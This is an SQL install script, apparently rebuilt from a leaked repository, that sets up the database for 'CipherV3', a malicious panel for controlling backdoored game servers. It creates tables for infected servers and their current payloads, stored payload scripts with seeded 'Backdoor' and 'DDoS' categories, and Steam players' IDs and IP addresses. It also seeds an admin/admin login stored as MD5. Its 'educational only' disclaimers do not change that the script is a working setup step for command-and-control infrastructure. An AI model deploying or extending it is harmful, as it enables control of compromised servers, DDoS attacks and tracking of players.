-- CipherV3-leak Panel Install SQL
-- Compiled from actual repo code analysis
-- # educational content only - For research/defensive purposes only. Do not deploy malicious software.
-- Run on MySQL/MariaDB. Compatible with 5.7+.

CREATE DATABASE IF NOT EXISTS `cipher` CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
USE `cipher`;

-- Users table (core auth and profiles)
CREATE TABLE `users` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `username` VARCHAR(255) NOT NULL UNIQUE,
    `password` VARCHAR(255) NOT NULL,  -- Likely MD5 hashed in app
    `rank` TINYINT NOT NULL DEFAULT 1,  -- 1=user, 2=admin
    `img` VARCHAR(255) NOT NULL DEFAULT '',
    `steam` VARCHAR(255) NOT NULL DEFAULT '',
    `ipvalidate` VARCHAR(255) NOT NULL DEFAULT '',
    `createby` VARCHAR(255) NOT NULL DEFAULT '',
    `token` VARCHAR(255) NOT NULL DEFAULT '',
    `backdoor` VARCHAR(255) NOT NULL DEFAULT '',
    `ban` TINYINT(1) NOT NULL DEFAULT 0,
    `lastcon` INT DEFAULT 0  -- Unix timestamp
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Default admin: username 'admin', password 'admin' (MD5: 21232f297a57a5a743894a0e4a801fc3)
INSERT INTO `users` (`username`, `password`, `rank`, `img`, `steam`, `ipvalidate`, `createby`, `token`, `backdoor`, `ban`) 
VALUES ('admin', '21232f297a57a5a743894a0e4a801fc3', 2, '', '', '', '', '', '', 0)
ON DUPLICATE KEY UPDATE `password` = VALUES(`password`);

-- Servers table (backdoor/server management)
CREATE TABLE `servers` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `token` VARCHAR(255) NOT NULL,
    `name` VARCHAR(255) NOT NULL,
    `ip` VARCHAR(45) NOT NULL,
    `mask` TINYINT(1) NOT NULL DEFAULT 0,
    `map` VARCHAR(255) DEFAULT '',
    `players` INT DEFAULT 0,
    `gamemode` VARCHAR(100) DEFAULT '',
    `lupdate` INT DEFAULT 0,  -- Unix timestamp
    `payload` VARCHAR(255) DEFAULT ''  -- Current payload
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Payloads table (exploits/payload storage)
CREATE TABLE `payloads` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `name` VARCHAR(255) NOT NULL,
    `category` VARCHAR(255) NOT NULL,
    `content` TEXT NOT NULL,  -- Payload script/code
    `token` VARCHAR(255) NOT NULL,
    `byname` VARCHAR(255) DEFAULT ''  -- Creator
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Payloads categories table (inferred as payloadscate)
CREATE TABLE `payloadscate` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `name` VARCHAR(255) NOT NULL,
    `token` VARCHAR(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Insert default categories
INSERT INTO `payloadscate` (`name`, `token`) VALUES 
('Default', ''), ('Backdoor', ''), ('DDoS', '')
ON DUPLICATE KEY UPDATE `name` = VALUES(`name`);

-- Steamusers table (Steam account tracking)
CREATE TABLE `steamusers` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `steamid` VARCHAR(255) NOT NULL UNIQUE,
    `name` VARCHAR(255) NOT NULL,
    `ip` VARCHAR(45) NOT NULL,
    `server` VARCHAR(255) DEFAULT ''
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Logs table (audit trail)
CREATE TABLE `logs` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `comment` TEXT NOT NULL,
    `heure` VARCHAR(255) NOT NULL,  -- Formatted timestamp
    `rank` VARCHAR(10) NOT NULL,  -- '1' or '2'
    `status` VARCHAR(20) NOT NULL  -- 'success', 'error', 'warning'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Serverchat table (inferred from delete query)
CREATE TABLE `serverchat` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `serverid` INT NOT NULL,
    `message` TEXT,
    `timestamp` INT DEFAULT 0
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Indexes for performance
CREATE INDEX `idx_users_username` ON `users` (`username`);
CREATE INDEX `idx_users_token` ON `users` (`token`);
CREATE INDEX `idx_servers_token` ON `servers` (`token`);
CREATE INDEX `idx_servers_mask` ON `servers` (`mask`);
CREATE INDEX `idx_logs_id_desc` ON `logs` (`id` DESC);
CREATE INDEX `idx_steamusers_name` ON `steamusers` (`name`);
CREATE INDEX `idx_payloads_token` ON `payloads` (`token`);

-- End of install. Edit config.php with DB creds: host, user, pass, db='cipher'
-- Warning: This is a leaked malicious panel. Use only for ethical research, e.g., analyzing vulnerabilities.
-- Change default password immediately: UPDATE users SET password=MD5('newpass') WHERE username='admin';
